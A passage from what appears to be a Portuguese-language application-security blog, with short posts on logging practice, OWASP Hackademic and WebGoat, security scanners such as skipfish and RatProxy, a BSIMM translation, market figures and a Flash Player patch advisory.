Tais funcionalidades estão presentes em várias bibliotecas como, por exemplo: Enterprise Library, SLF4J e ESAPI. A ESAPI merece um destaque especial por este post, pois foi concebida com pretensões muito ousadas no que se refere a segurança. Decorre daí a possibilidade de instrumentar de forma bastante simples a aplicação, para que ela se adapte automaticamente diante de cenários de ataque, a partir do uso do AppSensor.

Instrua os desenvolvedores
Uma vez que se defina o que e como logar, para que se obtenha sucesso nessa iniciativa, o desenvolvedor deve ser “bombardeado” de treinamento, orientação e acompanhamento para garantir o uso adequado do mecanismo e, principalmente, que o conteúdo dos registros seja completo e compreensível para o fim a que ele se destina.

Considerações Finais
Apresentamos algumas etapas fundamentais no processo de estruturação do logging de aplicações. Cada fase mereceria diversos posts para contemplar assuntos tão extensos, mas por limitações de tempo tivemos que nos limitar a elas.

São ainda questões interessantes a serem discutidas:

• Como ajustar o logging de uma aplicação que usa um WAF?
• Como garantir que o conteúdo do log não seja subvertido pelo desenvolvedor?
• Como orquestrar o mecanismo de validação de entrada e saída e o mecanismo de logging para que a aplicação trabalhe segundo uma abordagem de segurança positiva?

Links Relacionados
http://tinyurl.com/3hv6mgv

Hackademic OWASP

O OWASP lançou uma série de desafios chamado OWASP Hackademic Challenges Project , um projeto de código-livre, cujo objetivo é ajudar o testador a ganhar conhecimento em testes de segurança em aplicações web.

A Sr. Nimbus através desse post disponibiliza a solução dos 8 primeiros desafios:

Solução do Desafio 1:



Solução do Desafio 2:



Solução do Desafio 3:



Solução do Desafio 4:



Solução do Desafio 5:



Solução do Desafio 6:



Solução do Desafio 7:



Solução do Desafio 8:

Building Security In Manturity Model em Português

Como temos trabalhado bastante com o Building Security In Manturity Model (BSIMM) e pelo reconhecimento de que, infelizmente, o idioma ainda se apresenta como uma barreira para assimilação de conteúdo pelos nossos técnicos/analistas, resolvemos empreender a tradução do modelo.

Você poderá encontrá-lo clicando aqui.

Aproveite!

Google Lança Web Application Security Scanner

A Google lançou seu Web Application Security Scanner. Espero ter condições de testá-lo em breve!

Mais detalhes no link http://code.google.com/p/skipfish/wiki/SkipfishDoc.

Hack this!

Fiquei sabendo à pouco de um novo site com propósitos didáticos para hacking ético. Ao que tudo indica, ele se parece com uma versão on-line do WebGoat da Owasp.

Confira no link:

http://www.hackthis.co.uk/

Privacidade - Scientific American

A edição de setembro da revista Scientific American (aqui) veio toda dedicada à privacidade que, segundo Esther Dyson, vai além de questões de segurança, saúde e intimidade. São considerados os seguintes assuntos:

• Definição e uso do termo privacidade.
• Legislação para escuta no âmbito do governo.
• Melhoria da saúde a partir do prontuário eletrônico e registros genéticos.
• Proteção contra roubo de identidade via autorização biométrica.
• Aparato para monitoramento.
• Chips de radiofreqüência (RFID).
• Vírus e outras pestes na Internet.

Aproveitem!

Análise do Mercado de Software Seguro

Para os que se interessam pelos números do mercado de segurança diretamente associados à questão do software, vale a pena apreciar a análise sobre os resultados de 2007, consolidados por McGraw (aqui).

Um breve resumo:

Ferramentas

• O mercado de ferramentas quase se dobrou, chegando a $150 – 180 milhões. No que tange à ferramentas de black box ocorreu uma estabilização. Neste segmento pequenas empresas tiveram um crescimento mais acentuado (Cenzic 16% e WhiteHat 52%). Já o mercado de análise de código chegou a $91,9 Milhões. Nesta lista encontram-se Fortify (83% - $29.2 Milhões), Klocwork (60% - $26 Milhões), Coverity (50% - $27.2 Milhões) e Ounce Labs (300% $9.5 Milhões).

Serviços

• Quanto a services, o crescimento foi mais modesto, apenas 20%. Treinamento (cerca de $7 Milhões), avaliação de riscos ($45-60 Milhões) e teste de penetração ($50-75 Milhões).

Microsoft Patch Tuesday Antecipada

A Microsoft começará a divulgar antecipadamente à parceiros da área de segurança, como fornecedores de anti-vírus, detalhes técnicos sobre a vulnerabilidade corrigida por ela.

Desde modo, a corrida para levantar tais informações diminuirá a dependência da engenharia reversa, iniciada logo após a divulgação dos patches de segurança na segunda terça-feira do mês, e permitirá que os fornecedores consigam provêr as atualizações de suas ferramentas de proteção com maior agilidade.

Detalhes no blog do Brian Krebs (aqui).

WebGoat versão 5.2

Acaba de ser lançada a nova versão 5.2 do WebGoat. Os interessados podem encontrar mais detalhes aqui.

A versão 5.1 traduzida para pt-br continua disponível aqui.

Quem se anima a traduzir mais esta versão para o português?

Entendendo XSS, XSRF e outros

Para alguns a compreensão sobre como um determinado ataque funciona se mostra como um reflexo, tamanha a intimidade deles com o conhecimento técnico associado. Para outros, a grande maioria, tal entendimento fica muito prejudicado pela defasagem técnica e, principalmente, pela maneira como tal informação é apresentada. Para este último, o designer gráfico exerce um papel determinante, articulando entre formas, cores e ações encadeadas de maneira a transformar uma informação que textualmente mostra se complicada, em algo de compreensão bastante facilitada. Com esta percepção o pesquisador Michael Schumacher da Virtual Forge criou um conjunto de animações para auxiliá-lo no treinamento de segurança de software. Aprecie o resultado e até compreenda problemas como XSS, XSRF e navegação forçada no blog da Justice League (aqui).

Google Libera Código Fonte do RatProxy

Acaba de ser liberado pela Google o código fonte da ferramenta RatProxy. Esta é uma das ferramentas usadas pela Google para teste de suas aplicações Web. Fica aí mais uma alternativa ao WebScarab da OWASP.

Mais detalhes sobre a ferramenta:

http://googleonlinesecurity.blogspot.com/2008/07/meet-ratproxy-our-passive-web-security.html

http://code.google.com/p/ratproxy/

Microsoft Source Code Analyzer for SQL Injection

Acaba de ser lançada pelo time de segurança do Microsoft SQL Server uma ferramenta de análise de código fonte especializada em encontrar falhas de injeção SQL em código ASP. Mais detalhes no SQL Server Security blog.

Utilidade Pública - Furo no Flash Player

Várias organizações de segurança de TI (aqui, aqui, aqui) têm divulgado advertências sobre a grave ameaça provocada pelo furo de segurança (estouro de buffer) encontrado no Flash em abril passado. Já existe registro de sites que usam essa vulnerabilidade para instalar software de captura de senhas nas máquinas com navegadores que usam a versão com o furo (aqui).

Antes de duvidar, proteja-se! É simples. Verifique a versão do Flash Player (aqui) e caso seja diferente de 9.0.124.0, faça a atualização (aqui).